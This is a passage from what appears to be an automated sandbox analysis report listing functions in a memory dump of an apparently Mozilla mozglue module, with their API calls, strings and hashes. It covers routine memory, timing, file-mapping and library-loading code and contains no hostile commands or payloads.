WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C4FCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C4FCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FCAA5

Strings

0, xrefs: 6C4FD30A
(null), xrefs: 6C4FC596

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction ID: 131f59af8c2609ce3024bce7f5502e95c97f38b17f1fce5291f6c55dfb3931be
Opcode Fuzzy Hash: f3ed80561efe086f2c51d09dd8ec525b9469132c6d77e2ac21c38cd79e076588
Instruction Fuzzy Hash: A9A1BD306083428FDB10DF28C944F5ABBF1AFC9759F09892DE9A997751D731E806CB82

Function 6C4FC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4FC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C4FC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FC891

Strings

inf, xrefs: 6C4FC78F
NAN, xrefs: 6C4FC7AD
nan, xrefs: 6C4FC7A8
INF, xrefs: 6C4FC794

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction ID: bd1afa378524406d481d46e2dc63b2f4ebfe15de956aa8bf15f6c3740a089084
Opcode Fuzzy Hash: b92479472dce99f01f459b4d0fa9c24a4c46bd12c69a98eecf2c9d6c93e0a88e
Instruction Fuzzy Hash: 3C5181705087448BD710EF2CC581E9AFBF0BFCA309F418A2DE9E597651E770D98A8B42

Function 6C4D3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C4D350E
__Init_thread_footer.LIBCMT ref: 6C4D3522
__aulldiv.LIBCMT ref: 6C4D3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C4D3592

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C4D3508
kernel32.dll, xrefs: 6C4D34EA

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction ID: b9cf08172a744ab68f737a684ea1234d6ef50cd573da6dd9939a81aab9a2acc9
Opcode Fuzzy Hash: 799b978edc0cf77181387f26a8050722c0883f49f570a1ad621598f92da98376
Instruction Fuzzy Hash: ED31B371B001059BDF04EFB9CC68FAA77B5FB45319F96011AE501E37A0EB70A904CB64

Function 6C4D4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C514843,?), ref: 6C4D45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C514843,?), ref: 6C4D468A
free.MOZGLUE(?,?,?,?,?,?,6C514843,?), ref: 6C4D46C9
free.MOZGLUE(?), ref: 6C4D46EF
free.MOZGLUE(?), ref: 6C4D4712
free.MOZGLUE(?), ref: 6C4D4735
free.MOZGLUE(?), ref: 6C4D4758
free.MOZGLUE(?), ref: 6C4D477B
free.MOZGLUE(?), ref: 6C4D479E

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction ID: ba781a238f04e8b5902a1b8fcc0f45dd04184d9909935983b201dc918463cd96
Opcode Fuzzy Hash: 504ae6e55fbd2be760361cd779713ed0b1e8e3c3a838583fce5668ca5c485f47
Instruction Fuzzy Hash: EDB11775A001508FDB18EF3CC8B4F6D77A1AF413A8F1A562DE416DBB82D731E8808B91

Function 6C53AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C53AC52
CreateFileMappingW.KERNEL32 ref: 6C53AC7D
GetSystemInfo.KERNEL32 ref: 6C53AC98
MapViewOfFile.KERNEL32 ref: 6C53ACB0
GetSystemInfo.KERNEL32 ref: 6C53ACCD
MapViewOfFile.KERNEL32 ref: 6C53AD05
UnmapViewOfFile.KERNEL32 ref: 6C53AD1C
CloseHandle.KERNEL32 ref: 6C53AD28
UnmapViewOfFile.KERNEL32 ref: 6C53AD37
CloseHandle.KERNEL32 ref: 6C53AD43
CloseHandle.KERNEL32 ref: 6C53AD67

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction ID: 96a762c3a6b7635d80850f5bfa6f412484ec1282346e86813fa23670db7ce617
Opcode Fuzzy Hash: 1e58d4e6346bc806b9a37e5746de0b1fefaf0cd5a2d67b7fc2521e1a9f451bb0
Instruction Fuzzy Hash: 853144B1A047048FDB00FFB8D94C65EBBF0BF85305F46492DE98997251EB709458CB86

Function 6C4E9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C4E9675
__Init_thread_footer.LIBCMT ref: 6C4E9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C4E96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C4E9707
__Init_thread_footer.LIBCMT ref: 6C4E971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9773

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C4E97B7
FreeLibrary.KERNEL32 ref: 6C4E97D0
FreeLibrary.KERNEL32 ref: 6C4E97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C4E9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C4E9670
NtMapViewOfSection, xrefs: 6C4E9701
MapViewOfFileNuma2, xrefs: 6C4E97B1
ntdll.dll, xrefs: 6C4E96E3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction ID: f25ef42ea2984c29d891bc9868870e02fe7f54732de65fb7ef7fb8c467e77843
Opcode Fuzzy Hash: 25565e0f02e5ae32d316c4b5fa2248836ecf079e0956c768f4dcf9f7ecea0fbf
Instruction Fuzzy Hash: 0B4191B1B10205DFDF00DFA5DC84E9A77B4FB49316F924229ED1697780D731A818CBA5

Function 6C520000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C520039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C520041
GetCurrentThreadId.KERNEL32 ref: 6C520075
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C520082
moz_xmalloc.MOZGLUE(00000048), ref: 6C520090
free.MOZGLUE(?), ref: 6C520104
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C52011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C52005B

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction ID: 16ba300285b9a2ebbc1a860a3f81da1aeb88c992c9ab822fd0fca604534d1208
Opcode Fuzzy Hash: 7152c6e9376a7c8ed7b1eb0e7f3a8c309ec78aeca1de729a4fa2e488f3b3777f
Instruction Fuzzy Hash: 40419CB5A01244DFCB10DF24CC44A9ABBF1FF89318F814A1EED5A93B80D731A819CB95

Function 6C4E7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E7EA7
malloc.MOZGLUE(00000001), ref: 6C4E7EB3

Part of subcall function 6C4ECAB0: EnterCriticalSection.KERNEL32(?), ref: 6C4ECB49
Part of subcall function 6C4ECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C4ECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C4E7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C4E7F19
malloc.MOZGLUE(?), ref: 6C4E7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4E7F4D

Strings

d, xrefs: 6C4E7F89

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction ID: 9e70de391897d7a5d0a4a227d810664c63ff356b20a0fa48f6c026394159ac23
Opcode Fuzzy Hash: 79a81e9a36a27e75c88c031d33819dfc74f87da04f9b3f24d68eea904f0fc76c
Instruction Fuzzy Hash: 9031D871E0434897DB01DB68CC449FEB778EF95318F469629EC4997612FB31A9C8C394

Function 6C4E3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C4E3CCC), ref: 6C4E40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4E4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C4E3CCC), ref: 6C4E4157

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 0ec1e20bfe1ad3e5a38f23f896255c5681ad1bb4c8bee250976c80150a410b7d
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 09A19FB1A00205CFDB41CF68C880F59B7B5BF8C349F2651A9D909AF752D771E886CBA0

Function 6C529D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C528273), ref: 6C529D65
free.MOZGLUE(6C528273,?), ref: 6C529D7C
free.MOZGLUE(?,?), ref: 6C529D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C529E0F
free.MOZGLUE(6C52946B,?,?), ref: 6C529E24
free.MOZGLUE(?,?,?), ref: 6C529E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C529EC8
free.MOZGLUE(6C52946B,?,?,?), ref: 6C529EDF
free.MOZGLUE(?,?,?,?), ref: 6C529EF5

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction ID: 4840b7eec325057a650773039e5599e43f1bf5562b26bcf31a47683eeefee944
Opcode Fuzzy Hash: 7e21618cfad32fc0d578b5547834079da2b84dd083ce4f86adaf3bdc31666ff2
Instruction Fuzzy Hash: A07180B0909B418BD712CF18C88095BF7F5FF99325B44961DE89A5BB41EB34E885CBC1

Function 6C52DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C52DDCF

Part of subcall function 6C50FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50FA4B

Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C5290FF
Part of subcall function 6C5290E0: free.MOZGLUE(?,00000000,?,?,6C52DEDB), ref: 6C529108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE0D
free.MOZGLUE(00000000), ref: 6C52DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C52DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF32

Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DB86
Part of subcall function 6C52DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C52DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C51DEFD,?,6C4E4A68), ref: 6C52DF65
free.MOZGLUE(?), ref: 6C52DF80

Part of subcall function 6C4F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
Part of subcall function 6C4F5E90: memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
Part of subcall function 6C4F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction ID: 4c49798dfbd4e7fc538480e9b9cd31625e4cbc36a712a0b41057e8afac0b43ff
Opcode Fuzzy Hash: 89a40cecd33e464e93111b287557d4e2e3403a3d2258d283cf1e62eeeacad5c7
Instruction Fuzzy Hash: 1A51C5726016009BD721DB28CC806AEB3F6BFD5318F96051CD85A53B90D739F91ACBD6

Function 6C535D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8
<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

